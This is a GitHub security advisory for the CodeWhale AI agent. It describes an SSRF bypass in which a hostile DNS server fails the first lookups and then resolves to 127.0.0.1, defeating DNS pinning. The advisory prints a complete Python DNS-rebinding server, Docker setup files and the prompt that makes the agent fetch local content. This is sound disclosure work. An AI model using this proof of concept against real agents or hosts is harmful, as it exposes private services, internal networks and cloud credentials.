Skip to content

CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning

Critical severity GitHub Reviewed Published Jul 16, 2026 in Hmbown/Codewhale • Updated Sep 4, 2026

Package

npm codewhale (npm)

Affected versions

>= 0.8.41, < 0.8.64

Patched versions

0.8.64
cargo codewhale-tui (Rust)
>= 0.8.41, < 0.8.64
0.8.64
cargo deepseek-tui (Rust)
>= 0.8.5, <= 0.8.41
None
npm deepseek-tui (npm)
>= 0.8.5, < 0.8.41
0.8.41

Description

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Summary

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Details

Simplified attack scenario:

  1. Attacker asks agent to visit the mydomain.com.
  2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check).
  3. CodeWhale allows the code to continue as it expects it request to fail again.
  4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
  5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

PoC

This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dns_resolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None


def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
    """Rewrite a CNAME transparently (resolve alias locally)."""
    rewrites: dict[str, str] = {
        # "old.internal.": "new.internal.",
    }
    qname = str(query.q.qname)
    if qname in rewrites:
        target = rewrites[qname]
        print(f"  [REWRITE] {qname} → {target}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
        return reply
    return None


def handle_upstream(query: DNSRecord) -> DNSRecord | None:
    """Forward the query to the upstream resolver."""
    try:
        raw = query.pack()
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(3)
        sock.sendto(raw, UPSTREAM_DNS)
        data, _ = sock.recvfrom(4096)
        sock.close()
        reply = DNSRecord.parse(data)
        print(f"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
        return reply
    except Exception as e:
        print(f"  [UPSTREAM ERROR] {e}")
        return None


# Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
    handle_blocked,
    handle_overrides,
    handle_rewrite,
    handle_upstream,
]


# ─────────────────────────────────────────────────────────────────────────────
#  Server plumbing — no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────

def resolve(data: bytes) -> bytes:
    try:
        query = DNSRecord.parse(data)
        qname = str(query.q.qname)
        qtype = QTYPE[query.q.qtype]
        print(f"[QUERY] {qtype} {qname}")

        for handler in HANDLERS:
            reply = handler(query)
            if reply is not None:
                return reply.pack()

        # Fallback: SERVFAIL
        reply = query.reply()
        reply.header.rcode = 2
        return reply.pack()

    except Exception as e:
        print(f"[ERROR] Failed to parse/handle query: {e}")
        return b""


def udp_server(host: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    print(f"DNS resolver listening on {host}:{port} (UDP)")
    while True:
        data, addr = sock.recvfrom(4096)
        threading.Thread(
            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
            daemon=True,
        ).start()


def tcp_server(host: str, port: int) -> None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((host, port))
    srv.listen(10)
    print(f"DNS resolver listening on {host}:{port} (TCP)")

    def handle_conn(conn: socket.socket) -> None:
        with conn:
            length_bytes = conn.recv(2)
            if len(length_bytes) < 2:
                return
            length = int.from_bytes(length_bytes, "big")
            data = conn.recv(length)
            response = resolve(data)
            conn.sendall(len(response).to_bytes(2, "big") + response)

    while True:
        conn, _ = srv.accept()
        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()


def main() -> None:
    parser = argparse.ArgumentParser(description="Local DNS resolver")
    parser.add_argument("--host", default="0.0.0.0", help="Bind address")
    parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
    args = parser.parse_args()

    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
    t_udp.start()
    t_tcp.start()

    try:
        t_udp.join()
    except KeyboardInterrupt:
        print("\nShutting down.")


if __name__ == "__main__":
    main()

Docker file to build it(dnser/Dockerfile):

FROM python:3.12-slim

WORKDIR /app

RUN pip install dnslib --no-cache-dir

COPY dns_resolver.py .

EXPOSE 53/udp
EXPOSE 53/tcp

CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

docker-compose.yml:

services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1



networks:
  dns-net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.0.1.0/24

Then to check everything we could simply:
sudo docker attach tui
Prompt: read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output
The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.

To read the logs from dns-resolver:
sudo docker logs -f dns-resolver

Impact

Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.

References

@Hmbown Hmbown published to Hmbown/Codewhale Jul 16, 2026
Published by the National Vulnerability Database Aug 18, 2026
Published to the GitHub Advisory Database Sep 4, 2026
Reviewed Sep 4, 2026
Last updated Sep 4, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(40th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-75856

GHSA ID

GHSA-6v2g-fpxh-pmmh

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.